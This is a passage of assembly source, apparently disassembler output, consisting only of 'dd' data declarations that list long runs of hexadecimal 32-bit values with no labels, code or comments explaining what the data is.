8DFB6248h, 0B4946363h, 0E8620CF6h, 0A12D398Dh dd 48412F36h, 49242EBh, 9E79A464h, 1DC776D8h, 3AF9D1B4h dd 562CC6DFh, 0AE1F4D5Bh, 0EC5AD6E9h, 0B59F9123h, 311E9C4Fh dd 0CA1266CFh, 0C0E5696Ah, 795CB9D1h, 0BA54386Ah, 0AA5B335Eh dd 24F55C34h, 5FEA1189h, 0FF42CD28h, 0DE73AF9Eh, 94F76C01h dd 0EFDBA31Fh, 92EC8BC1h, 0DFB3C5B2h, 0EE07F9F5h, 37C1525Ch dd 1AB746B2h, 0D9EC07C7h, 91A6E3E0h, 2A439E32h, 6EA58471h dd 0FC5FC16Ah, 4FE9989Ah, 6BE31693h, 0C8D82B3Dh, 273E9122h dd 74254D14h, 0A8564F6Ah, 0CF78512Eh, 0B6DA4663h, 33A6BEB9h dd 0DA90A3A3h, 0FEF11AE6h, 3A431350h, 1195BD1Ch, 0A5D438E0h dd 0FBCA6435h, 21E72A48h, 5FC6C495h, 82FA60D4h, 0BCAA660Fh dd 384D27BDh, 0BE639B58h, 388E224Ch, 49CB436Ah, 14379B7Ch dd 0D94F8EEEh, 0CC7DD55Ah, 1D81FE8Ah, 7378DBE9h, 51F97AFh dd 0B2AE3F93h, 7D70259Ch, 5F85F036h, 9FD12D67h, 0F1AC1EDFh dd 0FE368FE3h, 0EE89321Dh, 9DE3F116h, 0D31D220Eh, 39DFCEF6h dd 0F8E164ECh, 0E98095CEh, 5AF38EA7h, 4930E3F6h, 3E3464ACh dd 0D5A00D23h, 0B855BE0h, 7551F3B2h, 0EA8A7FF3h, 0B360F073h dd 0F0B69514h, 2F682484h, 3724D50Eh, 0C5C57E1Dh, 3565C832h dd 0E50FEBCh, 0A5C594Ch, 0B62F4EEh, 4C4A8E9Ch, 0A64B5BD4h dd 7300BB0h, 6E837C91h, 0B763F234h, 67F80313h, 27CBB83Fh dd 0DB85C9F7h, 0F2815455h, 0AF499D37h, 0AD21AFA4h, 2374E860h dd 0C94AE788h, 1ED9D8B0h, 4671135Dh, 3DCE2025h, 1825CEBCh dd 62A6CFFBh, 2EF22EDBh, 755D608Ah, 6C50201Ah, 13DF7DB5h dd 4D9725BAh, 7E806F5Dh, 0DC04006h, 1B1472ACh, 7CC7BFE2h dd 9394EF87h, 0A416CB15h, 0B56797FEh, 862922FDh, 2FE55865h dd 4D11CF84h, 0EEA3C9B5h, 0AF7F9214h, 0FEA403B1h, 8177F6E1h dd 25447FF5h, 0FB68BB6Eh, 0C1E941EFh, 0C68305ABh, 822CAFEEh dd 0A7F860DAh, 3B3A003Fh, 61A07744h, 8E048FF0h, 0AD2370D6h dd 0B3F471DBh, 462D235Dh, 3B8FE265h, 0A936FECCh, 0EABB8E55h dd 3028AEAh, 0C55AE8A6h, 0F659B74Fh, 0CA41A4E0h, 0A2430B88h dd 7FDEDB12h, 0D3B0406Ch, 251FC4DBh, 8AC41F06h, 0EBBE9545h dd 2958EE65h, 455CB9C3h, 38DBA801h, 786B9E63h, 0EAB992CCh dd 870F1979h, 549F0E4Fh, 0FD57789Fh, 38E2F04Dh, 45CC3691h dd 0ECDE21F2h, 80ECBB31h, 262CB207h, 3D624EB6h, 4B9F954Fh dd 0DF8AF275h, 56FBC7ECh, 64AF6241h, 71D29ACBh, 0EF435663h dd 0B55B069Dh, 7C677ED1h, 860E8CFFh, 619C5D4Ch, 2D23F0E7h dd 0D5602C5Fh, 8379ED7Ah, 9FFBF5C2h, 4A7498FDh, 827BE8E2h dd 0B2CE4AEEh, 654E21C2h, 4D19506Eh, 1952AFE6h, 67BFD6BFh dd 24047BFFh, 8BF6C3B1h, 0F9794B1Dh, 0D79D9AFFh, 0B7F78559h dd 0BF3BAFDEh, 0E124CC43h, 4CE216Fh, 3BB7ED84h, 0FFA65455h dd 49C0F6C0h, 982E4058h, 0E932F342h, 76E82B0Ch, 95C2E8CEh dd 0C9AD48BCh, 0D1F58FF3h, 8A01BF58h, 4C7BDFF1h, 126A5716h dd 58044E76h, 0EC22379Ch, 0D28D338Fh, 0B4F5FE68h, 6230F92Ah dd 0CBC33B79h, 7041FCBh, 3EC4963Bh, 5AD18B79h, 78C997CBh dd 18BB31C7h, 0F7E132BBh, 2D4B8A67h, 482AE768h, 0EF7BF6F1h dd 0AD652D27h, 1611B634h, 0EC77142Ah, 34AB7440h, 83436DA1h dd 0EC825A16h, 0BB403771h, 710DC50Eh, 98C5239Ah, 82D713F8h dd 0AAA6A5CEh, 749E991h, 0B82FBAAAh, 4B1BFCEAh, 41A0FE00h dd 56A4164Ch, 83FAFD12h, 0A595E776h, 142E5713h, 167E3736h dd 9D7053Ch, 599573BEh, 3B729E80h, 0C52BE2C6h, 1D0D4559h dd 31F9B6Bh, 0E937E84Ch, 8ACD3481h, 0B6E8B7B5h, 9046423Ch dd 297FDA46h, 3B045BB1h, 912DF80Eh, 732A2550h, 6B8CB188h dd 29D208DAh, 3B735772h, 5F2E37BAh, 0FF3F9E56h, 0D3F73016h dd 2C240A70h, 0D2A604CDh, 1F8F60EAh, 0C082807Fh, 67F87E50h dd 17E18CCDh, 464AB895h, 9A62FA96h, 16172B19h, 2ECDF03Bh dd 0FC0D96AFh, 0D65121BDh, 4D56C518h, 0BCA8024Fh, 2F8B0359h dd 0A65ED96Eh, 12A3910Dh, 0A8F98625h, 7AA7E917h, 3F6302B5h dd 0D50950EDh, 9816420Bh, 0FD88C5E2h, 12B178E0h, 8D92EE0Bh dd 0E7A6CDB8h, 39F2AD8Fh, 488A0DD2h, 6D72C90Ah, 126F1BC2h dd 5FA60F27h, 69E58A38h, 85E326E6h, 0B81D3266h, 0D8EAF084h dd 0C0A4A50Bh, 0D33F3BDCh, 7A71532h, 90F0D55Ah, 5BAD633Ah dd 742C289Eh, 8234054h, 0A2369467h, 690B44B2h, 16A74DA8h dd 920F988Eh, 7BF68C37h, 0D36BB3C0h, 54679927h, 0C3F17638h dd 9BCA6906h, 3B75AA38h, 75C64554h, 393EC6BBh, 8B870745h dd 4C2307A2h, 0C4EBB74Fh, 88279970h, 0E91A6A20h, 58DF9561h dd 30848B10h, 0E85BECDCh, 31C4368Bh, 0CAEDC13Bh, 0E3E99906h dd 0DF4600Eh, 6522B413h, 0BFCB8912h, 70BFCCCBh, 0F0AACB1Bh dd 4CD27939h, 54BA9958h, 7BC4884Fh, 0A0D7F7A9h, 1E702F02h dd 0E1A377D7h, 768A606Fh, 7411C850h, 701F8A32h, 5FE85C24h dd 19C1B4CCh, 2BF92455h, 7C459C48h, 61268925h, 0BDC7A6A5h dd 22D85568h, 0D8E7959Fh, 0BE31A158h, 4FC341E3h, 0E1B12C18h dd 396044BDh, 0BF66710Fh, 0CD5FE40h, 0E4BA9966h, 0BC5C5B22h dd 39D43B90h, 0D5D8903Ah, 215AEA96h, 0CCB5B0Dh, 0E657DEFCh dd 33F8B955h, 0C2ADBB57h, 2B22F3A4h, 805F46AAh, 1625A4DDh dd 15E787BAh, 0CE3B89A9h, 30034D82h, 215BBCBh, 42D6BE9Ah dd 4800ADFDh, 0D89E4FA8h, 45485FB3h, 0F6B30480h, 92DEA02Dh dd 0FC1F3670h, 4F41993Ah, 0F94008ECh, 4EDD7D80h, 34F8B509h dd 82EC066Ch, 0A76BA91Dh, 0E37B7CE6h, 981800D7h, 18F02DEFh dd 28B507E6h, 0E38C6C9Fh, 9548DB47h, 71533ECEh, 367693B6h dd 0B4043F57h, 4C16364Fh, 36853252h, 0A8068BBh, 0E05CA90Eh dd 0E3A68D20h, 938EF28Ch, 4BBDE902h, 0AA9B0E6Ah, 27CAA66Fh dd 945C74E7h, 989AD064h, 3463E0CDh, 31D6FD8Ch, 0D59B1D0Ch dd 5B3E8D5Ch, 0C27155D1h, 0F627C998h, 0FE502467h, 71A186B4h dd 61D404D3h, 70A2C0B5h, 0BF1AB8B3h, 0E409347Ch, 0E3E0E5D0h dd 0F80AB031h, 64C80A44h, 88217B14h, 0BCF4EADBh, 8F96770Bh dd 6A9BDEDAh, 0D7DBF552h, 0CACA608Ah, 698CCDF2h, 3C8A06BAh dd 515C2842h, 0D0EDCD25h, 29F2D2FCh, 0FDBB7B36h, 0CC068640h dd 41E9103Ch, 0D919BC12h, 0C1AD2BA8h, 0A7C8C32Ah, 7A617AD8h dd 0DDA200Ch, 561495A4h, 690E2810h, 0EBCA3715h, 0C1E3AC30h dd 79D89688h, 68C3C71Fh, 0AAA17DB3h, 3A86E8C3h, 7A6194ACh dd 49393778h, 0C2E87F8h, 5F72B986h, 0FEB902D1h, 2D0D75A8h dd 0A3D02968h, 0E6708E69h, 0CA27DAB0h, 7CAB6844h, 0FAFC1E28h dd 7CA1BCCEh, 0F052CC20h, 0BAB2F2DCh, 4233FA54h, 3D076355h dd 8A2413F9h, 89432040h, 0F38ED439h, 0EF880AB9h, 3B9CEA08h dd 0DBCAAE81h, 160649D0h, 7FE1F108h, 323C8CFFh, 26DE5F44h dd 9542ADB0h, 79C579F8h, 0B5E90186h, 8D4AC358h, 0E5327A30h dd 713D787h, 85468104h, 0FC967A4Ch, 18FD0F8Ch, 0DB4FE513h dd 598C643Dh, 79BB26E4h, 6C903D59h, 98E7F256h, 0AEDAE3E2h dd 8048BF7Ah, 334E1616h, 5E55A5B7h, 0FCFFFEACh, 0FE3C6E3Bh dd 0ACB0CBE8h, 3C7094C9h, 0DED6CCBCh, 4BEA4F66h, 3A67EDF1h dd 0C55E0CE8h, 0E554576Ch, 87D022D3h, 4361516Dh, 902465FFh dd 1083E283h, 90F3CEF1h dd 1040B23Eh, 2FA5F6BAh, 82C3836Ah, 0F79B3334h, 0AB9916Eh dd 53B2Ah, 0CC50D4A6h, 0A89B2B98h, 40255F80h, 0C9A2FDB1h dd 0E88F51D6h, 0A6C0FAA6h, 69B17CAFh, 9DB68B90h, 0B904D6C4h dd 0B02305F5h, 0E285FF60h, 0A1E82438h, 3653B635h, 185751BFh dd 0ED600ADFh, 0ED5FF3ABh, 0F7B32D1Ch, 0D4EBA72Ah, 1912ECA0h dd 4427CE3Ch, 8795719Fh, 8A9FF367h, 81F39440h, 0A8146AA8h dd 98921A06h, 0DA6CCAAFh, 29DD4642h, 5C390BDAh, 52701A2Bh dd 0A7BEC21Eh, 85EA736Dh, 0D1A809A2h, 0C72485A0h, 4ED21A12h dd 26ACF7C4h, 37C0FA40h, 0B70392E1h, 849BF5B1h, 14291C90h dd 93B88FEFh, 6E8FC0B4h, 0CC1AEAC3h, 9AD36CAh, 0DA487DC0h dd 0CC47862Fh, 9328D3AAh, 74E3356Fh, 0DC0E6269h, 0E3F0B342h dd 891EA229h, 0CE517F23h, 530F05DDh, 8A43B565h, 1247603Ah dd 0BFDA1A5Eh, 8F5BD9F9h, 52534229h, 0C75BB148h, 0E55CBAA2h dd 5296C1E8h, 7F7DB428h, 36CB3C37h, 0F29D1E2Dh, 98957735h dd 0D398F5BAh, 2BC98F6h, 4336325h, 8DA40BB8h, 66D6D85Dh dd 2E777D3h, 1D041971h, 5C921DA1h, 0B49FF269h, 4EEB93A5h dd 0CAC79DEBh, 83957249h, 9036EC28h, 0C288E7FEh, 2502AC26h dd 83D39F6Eh, 0D2333331h, 413498DCh, 0AC04C5BDh, 1D7CE38Ah dd 6AB72C8Eh, 0BC9F908Dh, 0FB7759CAh, 755E4E91h, 7BBE7757h dd 809B52D0h, 3F6DF583h, 0A421CF11h, 3AE92A7Ch, 0D5835D3Bh dd 9B1FAA62h, 8E9A242Eh, 25BDE1Dh, 0B6D290Eh, 7330D30Dh dd 122E5F0Ah, 0E85B14ABh, 0E710C2AEh, 6761EAB3h, 0AD5B2F8h dd 0D70CC1BDh, 0F0D4B574h, 80F60226h, 812A32AFh, 2238CC82h dd 0BDC3EFC5h, 0DFC9B8A5h, 0D19FEB7Ch, 116A9C1Ah, 3E75C19Dh dd 0E9EE7B2Ch, 0FDFFE573h, 36BC2D00h, 0F8A364FCh, 221BFA30h dd 1D35559Ah, 0D230F8B3h, 0EFBFC04Dh, 19704BC9h, 0BD0F2DFDh dd 5F45C2B7h, 0BBF6BB42h, 84A56F10h, 0D9103F67h, 0A67D7A1Bh dd 7D83FC2Dh, 0C333F8C5h, 95D8AA4Bh, 2B7A3E34h, 4C051CC9h dd 3DF1AAC4h, 599BFD4Fh, 0A5AE019h, 7E6DD2FBh, 0E80B1AE9h dd 4FA9E2CDh, 0B4C7B14h, 0BE967EE6h, 0C0AF4310h, 289350B3h dd 0BA7CAB28h, 4F84C2AEh, 69665125h, 75D96E5Eh, 0E824C1EAh dd 96E396A4h, 1BE89962h, 9099AEB6h, 0C3C27F1Fh, 6977C156h dd 9E19A6E1h, 0FB20AF39h, 2E99B669h, 11130EC1h, 724304F9h dd 7150F136h, 0B4B11D28h, 0DAEC9535h, 3FAA76EDh, 6B3A85B6h dd 0C32DE7C3h, 0C2CFB948h, 826F198Ch, 0AC887D04h, 3A832B99h dd 0D400F81Bh, 9B775D7Dh, 0A8E6C3E8h, 0AAB967FDh, 8A815A4Dh dd 0B9E12F49h, 2B7CDE97h, 93E0C252h, 62255ACCh, 3EB5BF95h dd 0AA067D7Fh, 0B051A335h, 8E54BAD0h, 0C5A819A4h, 7E3AC1F3h dd 4BC37EF6h, 6CDF7AD7h, 31607C47h, 9571E61Fh, 47FEA1D7h dd 113BB9E1h, 0DB7A8A7Fh, 7CD60546h, 47312702h, 0AF45325Eh dd 4C4188F4h, 0B195E35Fh, 0B0A26DBBh, 4106DB5Ch, 0B5305ACAh dd 0BABDD67Eh, 0A09DC796h, 0C1FB091Fh, 0AB3D51F4h, 0AD3954CCh dd 9A7776A1h, 2F803DEFh, 9A18B803h, 5C359E1Dh, 2BE69725h dd 0E4649CEh, 0C7651903h, 0FEE7C54Fh, 6D1FD3B7h, 0A509FEA4h dd 78496257h, 0CA39306Fh, 7535824Dh, 596A4542h, 6E099FC1h dd 2CAFF101h, 0E8299D00h, 0E024EFD1h, 0E2887F77h, 0DD7A6B8h dd 0CFD6A9D3h, 0D5FAA306h, 7BCADB5h, 584BB21Ah, 0F82B335Ch dd 4AB68BB5h, 89ABA92h, 0B0001E08h, 0A818DAD8h, 3E59408Bh dd 320D012Ah, 0BC207191h, 779CAC41h, 7EC3CF89h, 5BC25B85h dd 442563EAh, 0ADCB8231h, 6D7EB5DBh, 82671A54h, 917FE602h dd 537E255Ch, 9E64BE99h, 0CF2B033Eh, 81897AF2h, 708077A7h dd 0EE23F2AEh, 0D1834E32h, 3063C994h, 0DA773C5Bh, 6614B274h dd 70A76556h, 5144E26Dh, 0E8291679h, 0C493D699h, 26D4A500h dd 0BC8DA43Ah, 0DD45D77Dh, 0AD3D6C6Ch, 95BF07E5h, 67F5D38Fh dd 7679CC38h, 0A008B27Ah, 550928F5h, 8EBE8F67h, 1EEA1171h dd 0ACAA06B8h, 947D95ACh, 2227190Eh, 0A18E4846h, 525F4368h dd 2CD23B1h, 372E08B1h, 27BC407Eh, 0D0A191E4h, 0C9E56E6Eh dd 81CE3B49h, 0E40CDEA9h, 0E83706BCh, 0B9020284h, 81F552ABh dd 0C910284Bh, 0F47C727Eh, 99E9F2Bh, 0FF5538D5h, 0E6248ED6h dd 0CE56F4D4h, 0EE9E1880h, 2A843457h, 7738881Ah, 76869C1Ch dd 17CB5FD7h, 77CDA6C3h, 0F04EA899h, 0D26D101Eh, 7E8FAEABh dd 3FE72638h, 0F8AF1A3Dh, 0EDB7D6B6h, 78085149h, 0ABA0EEE8h dd 894261C3h, 0B3228453h, 0A484A226h, 6E8641C2h, 18B5F05Fh dd 0F05C3BC8h, 581DED52h, 0D5434CFBh, 82D7BBCEh, 30FA41D3h dd 696329A5h, 0E94D0CC4h, 0CB6C3599h, 0AE22A28Fh, 0AC5A1A9Bh dd 304DD54Fh, 4E0FB74Dh, 76AC04EEh, 969647BCh, 4159336Eh dd 0DF5CA479h, 96EAA71h, 9A051ED7h, 74523719h, 918B4A8h dd 0B9CFB4E5h, 170C5E2Bh, 0E5413884h, 7E5DD03Ch, 2EFF0288h dd 5600B8CDh, 0E73D37E5h, 0B10DCDCh, 6AC493C8h, 12CC6B38h dd 0F6579672h, 0FD8F91Eh, 0FD0C7F83h, 0D71A571h, 0E985B465h dd 0F2671FB2h, 0B9DAC8DEh, 38BFAA52h, 0DF0FE2Ah, 70D5F67Ch dd 0D62E3602h, 0F55E75FEh, 0D93337F1h, 363986B6h, 1D845808h dd 0A50A27E3h, 7C505664h, 351FBD06h, 0D0A6B57Dh, 3A1232CEh dd 4237196Ah, 5245921Dh, 15A2E557h, 2BECCDE2h, 3DD0A337h dd 0C1527773h, 0CE36384Fh, 476B827Bh, 26466556h, 49EC9212h dd 0C129340Fh, 28FFF1CFh, 1225F4FEh, 2FC6A281h, 0A386C7DAh dd 0EE77BE76h, 83F62DBBh, 0DBA555F5h, 1F87F265h, 84F607BFh dd 444B5641h, 0D8501CE8h, 0B06520A2h, 1E4090CDh, 0BEED6E93h dd 90459F92h, 7E14A8EBh, 7B32DE8Ah, 0FE80917Fh, 8C4B8A1Ah dd 8F5D1900h, 0D7083668h, 0D0B1A33h, 64C19F46h, 53987AA9h dd 4B3239Bh, 9414B9F8h, 9EB00C69h, 995585A4h, 0A5F02356h dd 91B312F4h, 9874E7EAh, 0EC11A3C9h, 0F2052625h, 830C1B36h dd 0FFACA672h, 0E1572084h, 33C06D88h, 0C2E87071h, 78C843FDh dd 0B3E2AA28h, 0AEA98535h, 4C112C83h, 4A759628h, 0F1043117h dd 6AC15EA1h, 22872CA4h, 7BED6262h, 40C38385h, 51B1318Fh dd 4C36E7BBh, 517B1F73h, 4F52801h, 645B4285h, 0A9A259A4h dd 5A99CA49h, 0D3D8A806h, 3012F615h, 47318CAFh, 0A344B436h dd 649B5833h, 5372166Fh, 63F6A071h, 233CAE9Dh, 8A84D696h dd 0FE9AB87Fh, 2E25B735h, 0FCEEA754h, 3FE91456h, 549FC009h dd 0E090B1FFh, 92FFE98Fh, 0BD916F80h, 0A59736D9h, 0A28008DAh dd 3B95166Dh, 0CC5DDD06h, 2F91F4DCh, 223DAF0Bh, 0AD898DEFh dd 67989470h, 7F2BEB34h, 0B6B40B5Bh, 5707128Fh, 29D8FA95h dd 3D49F45Ah, 0D91C98EBh, 52B9DF22h, 0E2E520F1h, 0D06CE43Fh dd 0CDA73A1Fh, 0F8E59BC9h, 0D85F5099h, 7045F461h, 0BD167872h dd 95E40900h, 0E2323629h, 62DC32E2h, 32CAB302h, 1EED121Fh dd 36B0E382h, 50651547h, 58422863h, 0C9CEC556h, 0D919971Fh dd 25820A43h, 0FE28E8A7h, 9D2571AAh, 93640CCDh, 65B3E806h dd 3271743Ch, 0BE27CE41h, 7C20E744h, 0B9D27824h, 0A8E17769h dd 0B6967614h, 8C33B5E3h, 0E8B03D0h, 181040F7h, 0AE4DD477h dd 1FD4D08Eh, 1E8B5CC1h, 0DFDE729h, 1068774Eh, 441D2263h dd 0D16CF004h, 0E13F09F1h, 865802EEh, 7AAB7A24h, 38F591ECh dd 6295AE62h, 0D688D833h, 0E3E129FFh, 71A5D0A3h, 1562EF41h dd 83BA9A8Fh, 41755418h dd 0F011151h, 6565CF44h, 420E32E5h, 0B2C56167h, 0D059BE9Ch dd 0D432E8E6h, 2E247F0Ch, 9598AD0h, 3B3AE964h, 0F2B6FD1Bh dd 0CF0DCD2Ch, 4B4596DFh, 0AE83BFECh, 0C850AD56h, 52A10401h dd 736A1C47h, 9A2C42FFh, 26439C6Dh, 29E26B10h, 0B641FF3Fh dd 0B196807Ah, 0CE8661B9h, 81036649h, 1080EF87h, 0E3EF6BA5h dd 0C44FEDF8h, 0F8EBF10Ah, 40D2E972h, 0C112D7C2h, 944E57Dh dd 0AB20D30h, 22B960AEh, 309E3C7Bh, 0FA59D616h, 0CA2C0742h dd 0F09ADF53h, 0BABA0B9Ah, 0E2842F81h, 3A016FC2h, 859878D7h dd 0ACEEB996h, 96B18E9h, 0B6034643h, 97F62EE3h, 0EE4EB43Ah dd 0BDC34BD3h, 250683C6h, 0C357060h, 0B341B3C2h, 9F635A62h dd 6E4248F3h, 0E22746B9h, 75B9C800h, 2A2A5956h, 0DF87DB56h dd 870F8504h, 0BBFC2CD7h, 8CED4418h, 29665C05h, 0A1A1B8BAh dd 12BDEDF6h, 29E8AFB8h, 0E670B7Eh, 4282FB56h, 0CD8512CFh dd 552F9380h, 236298F6h, 24A179A2h, 8A391426h, 4FE9E776h dd 1DDC4B3Ch, 0D32D46BCh, 9E682659h, 0CDF33729h, 6C9D6F82h dd 4EA831E9h, 0FC00B9C5h, 1934FB4Eh, 3FDC8A51h, 0F98C6C6Fh dd 663C6D94h, 886754F4h, 0BCC4312Ch, 0C6FF68E4h, 51CD98CFh dd 0AF98EB1Eh, 125623BAh, 0D6212A01h, 0BA9BA861h, 946D3597h dd 97BD6AABh, 0F9AE5B24h, 0BA203836h, 4164899Ch, 121D4D96h dd 2446BDF0h, 1714550Ah, 0EEF95BD2h, 60FE7377h, 4C3B6FA2h dd 6B8BD260h, 0C56B6748h, 7CB20407h, 0A98A6291h, 0B91CB9D7h dd 0A7CDA04Ah, 0C148489Eh, 7499E073h, 10DCC027h, 99A48B71h dd 2F40EA92h, 14B740B8h, 0AFA6DCB4h, 385B9DFDh, 5371F612h dd 0C368DF0Dh, 352EC6ECh, 835DE0B6h, 0A7851BC3h, 371EEE7Bh dd 444B0FB4h, 46CA0463h, 9E1EEFF7h, 14FF87AFh, 3BEE5D64h dd 21C3BEDDh, 0DE2F55A5h, 9BB08EA2h, 0CD4AD6A1h, 0DA5AE119h dd 5F15291Dh, 1E943C3Fh, 0A5A07124h, 4C7E68A1h, 20B31624h dd 50FF5B9Ch, 280DFC2Dh, 266E3EA6h, 4427E415h, 75A9B3F4h dd 880EE6B3h, 33D3D04Ah, 0E2AC9B28h, 0D769CA47h, 3DCACAFBh dd 0AFD04A4Dh, 33934F2Dh, 413AF7B0h, 32D56D73h, 677AE7D4h dd 0BD7C13BCh, 0D0083955h, 91FC7FA1h, 0AA4F680Eh, 1B7B6F32h dd 39CD9868h, 905AE8E7h, 0E1531728h, 9D84023Dh, 1046F53Eh dd 0F572986Ah, 2417A317h, 79784B45h, 0CB89E25Ch, 7449F445h dd 0B0A0813Ah, 0DBB62C6Eh, 0FE4DEDD0h, 0F5FB9C30h, 2CDD94C9h dd 0BAE71442h, 94EADA97h, 510AD94Ch, 1108E294h, 16CB1169h dd 400EA670h, 1756C734h, 41E250D2h, 0ECF2051Ah, 699FD549h dd 3B0EC02Ah, 4DA48FB9h, 0B8B0B8DEh, 4B1E34E6h, 90D06A00h dd 0EC4AAFC9h, 78477B25h, 493699DFh, 1345A83Ah, 0D59BF6CEh dd 705D46Ah, 8465D709h, 0E3AB3AE5h, 467A7Fh, 8B97A61Ah dd 29A297EBh, 0C064EED1h, 0DEE805FBh, 94682234h, 0BE818B12h dd 0CA07D541h, 0FA1D90DFh, 3814C9A5h, 9C1573ADh, 0FB9D3893h dd 866CB85Fh, 0C37E60BBh, 0AB1A1D98h, 5134FF7h, 0D3573604h dd 9F28F3ECh, 0FA7D47EFh, 317AE41h, 32242456h, 8F4F939h dd 0FD3FA0FAh, 27139C98h, 0CC71FAD9h, 3C600C3h, 7E8B48A5h dd 181B85CAh, 51054FD5h, 0C3528387h, 54BF4D70h, 0B041B3EFh dd 0C55E21h, 0DBD830Ch, 999C5E63h, 80FDE6EFh, 0F1F30175h dd 9B162EBBh, 0B0E87833h, 621CFEA8h, 336CB302h, 832B11B0h dd 3BAD757Bh, 4A994169h, 15BBAB4Ah, 45CA7A3Fh, 0A796A992h dd 72EA1FDDh, 0C6A82847h, 0FB8ACAFAh, 58ECCD12h, 0B08378Bh dd 0A2E0885Ah, 5EF40A5Fh, 0C3122314h, 85311FFCh, 0C238881Fh dd 8A0F0446h, 61F57C69h, 0BDC5D783h, 347A16A4h, 0A3D2E2FFh dd 358BB8D1h, 330D122Fh, 3DF38CCAh, 392E8AA7h, 4FCE4C64h dd 6E953B40h, 0C242487h, 0E3288C17h, 0B6DAE82Bh, 57A0551Ah dd 0AA100E39h, 0DE58906Fh, 9ACF456Bh, 0F0367C39h, 957FCC24h dd 0D3F710Eh, 3899F2E5h, 0ED32906Ch, 344FF65Bh, 0C125DF16h dd 0A5CE06EAh, 0C7D15243h, 0E3CECF3Eh, 2EC8880h, 0F3FAF7E4h dd 0EC96C869h, 0A426F668h, 86BE63D7h, 9C7C893Ch, 94F66BB9h dd 8CC15FC9h, 24837EB9h, 0CF09EBD9h, 2631766Bh, 62F7B169h dd 0DD2343C3h, 2469845h, 77191D63h, 4DE581D3h, 0EBDAB140h dd 4610C82Bh, 0C470D6D9h, 462B0030h, 0FF74F16Ah, 8D1A061Fh dd 6A910A36h, 0FC0D396Fh, 78A82CF8h, 11374A1Dh, 543B4293h dd 8693BC0Bh, 0FC66DC86h, 68610ADFh, 0A97BF769h, 0B2E490A7h dd 0C0AB736Ch, 7670306Fh, 0AA5B30D0h, 5396FAC0h, 7D847820h dd 632C2CEAh, 0EC460A19h, 0D2A9E594h, 0BB146C9h, 0C23907BFh dd 0E9BB8A06h, 6D7E8742h, 81377768h, 0D99116DCh, 9010A361h dd 7792261Ch, 68FF8D8Fh, 5B793ADFh, 0E1AD487Eh, 7A4D767Fh dd 80E9FF04h, 4BA48363h, 0B5C28F09h, 4DA6C9E3h, 25A0A59h dd 68495024h, 932AF577h, 5D065CB0h, 82DF8716h, 0CE1EAACFh dd 0CA97C77Eh, 978DAEEEh, 690A95BCh, 60890930h, 218309EDh dd 0B30D8D3Eh, 9FE6AEE9h, 1449DFEAh, 5C95C0h, 2D69181Ah dd 9BFFB245h, 97AD1FB9h, 417C270Dh, 0F88C819Eh, 0C910798Ch dd 0D96CE49Ah, 0B9AB8F38h, 4E44365Bh, 98128939h, 9F48CC89h dd 68D66129h, 0BC64C22h, 28E079F6h, 7ED1ED68h, 0DAA5D909h dd 0A8DCBC2h, 7EAB518Fh, 9208958Ch, 51EE422Dh, 6CE180A9h dd 8DF34785h, 0C69D0D19h, 0D7D701BAh, 5A025686h, 0D43D74BDh dd 0E72E6A90h, 0BF883648h, 0D83D5238h, 0D8FD332Fh, 0F5467AA3h dd 0AC48AC7Bh, 9A5057A7h, 2A0E15DEh, 0AD90A9B2h, 1F86D775h dd 0FFEF6FFh, 8AD04F2Bh, 0B198C4B2h, 9D5E6FFFh, 0FBFDB22Ch dd 0B3E8A171h, 7BCF4878h, 0D2863299h, 17AA548Dh, 0AB8D0D15h dd 3C2F85FBh, 0AD8CBAEAh, 0F2E6F527h, 0F54A1E38h, 6169AFF2h dd 0D0426E02h, 0EB1856EEh, 404CFAE4h, 96B3CA8Ah, 9368B674h dd 0A4B46A4Fh, 0DBD4B7FAh, 6FAE53Bh, 545B2849h, 7D6D9130h dd 0AC8B57A3h, 0E0E95C3h, 1684E9D2h, 9BA0CE8Dh, 0A26128DDh dd 0D6B8FC3Bh, 4ABB9A6Eh, 0F43AED05h, 0C9008702h, 8481E3FAh dd 0D5A95F5Fh, 29772B6Bh, 0A150044Eh, 7FFAB844h, 95090D51h dd 615CF747h, 7F169C8h, 921C5CE0h, 5D2BA901h, 20D58645h dd 4C2397B5h, 0FA626E5Bh, 64087D5Bh, 7BB57749h, 544A8204h dd 0EF3AAD6Fh, 4874172Ah, 1076538Ch, 196BE2AAh, 0D0156A58h dd 0B29893D2h, 8FB205F4h, 41E66DBEh, 0D8C9C351h, 0DCDDD693h dd 6745D0ACh, 90DFF6E6h, 3920BDAAh, 0AB2A9626h, 53B09942h dd 0D2ADD282h, 174B5F84h, 0C02D5E75h, 0CDD457D4h, 38EF46Eh dd 0F2F8E751h, 407A6976h, 9404A88Dh, 89B476D9h, 0A824425Ah dd 44737B74h, 9946E7A5h, 0A796688Dh, 0BE8FBB67h, 554798BCh dd 0CC429034h, 0D543BC01h, 5013305h, 2E686AE3h, 0D7E4585Fh dd 0F56B5FCEh, 0C388DF1h, 9343D7F5h, 7E4A765h, 619496AFh dd 48B8D4E4h, 0FA721D9Dh, 3F2DB970h, 76D9D08Eh, 5A3C5AAh dd 0F36BAB0Bh, 3F8C5983h, 7E2FBA5h, 36B047B5h, 0F6E09EE1h dd 0B8174D0Dh, 0BDC6E94Fh, 0BB9BE660h, 1331C41Eh, 9463CFBAh dd 657AB272h, 0DDF80E1Ah, 64DD0218h, 0EB570F59h, 535AE3D3h dd 0D97FE494h, 778BE90Eh, 456FACE7h, 0EB113682h, 41789C26h dd 1C4F324Ch, 0D016B7D1h, 51F993A8h, 365CD0B8h, 9A355F20h dd 45EB9BD6h, 90A476E6h, 2370DB30h, 7B96FCh, 0FD8D0DDh dd 0AA85C685h, 84755587h dd 3158EFEh, 0D126BFBCh, 2D7692D7h, 990561E3h, 0C90D6839h dd 0FFBDFFCCh, 1937337Bh, 3AAAF8Ah, 2548E0Dh, 0BCFC6EECh dd 0DA959AB9h, 2803955Ah, 39FA40ABh, 5D274541h, 7CAF1BA3h dd 2436D742h, 3C242F0Ah, 7191E277h, 53D4299Dh, 47862DAEh dd 7380209Ah, 0DB6AB43Dh, 44D1B93Ah, 638D0947h, 0B24BA7D6h dd 1F3E2F20h, 3B91958Fh, 2FBA96h, 7EB2D527h, 26B53A06h dd 0D4AD1C6Ah, 0B6AB3E3Eh, 0BDE724F5h, 3BA4A6A2h, 0F9A5E5A7h dd 0A81F8190h, 68D28325h, 0D30EBB74h, 850BE4DEh, 0B1193A61h dd 0F32205DFh, 16BB364Fh, 5FA7F697h, 0AB3812B5h, 58F4E8BDh dd 9C3A3DA7h, 0AD170C7Bh, 5FD47BD7h, 69CDC67Eh, 0E5036360h dd 34E88DBDh, 2233E719h, 536DAD2Fh, 1AE1B9h, 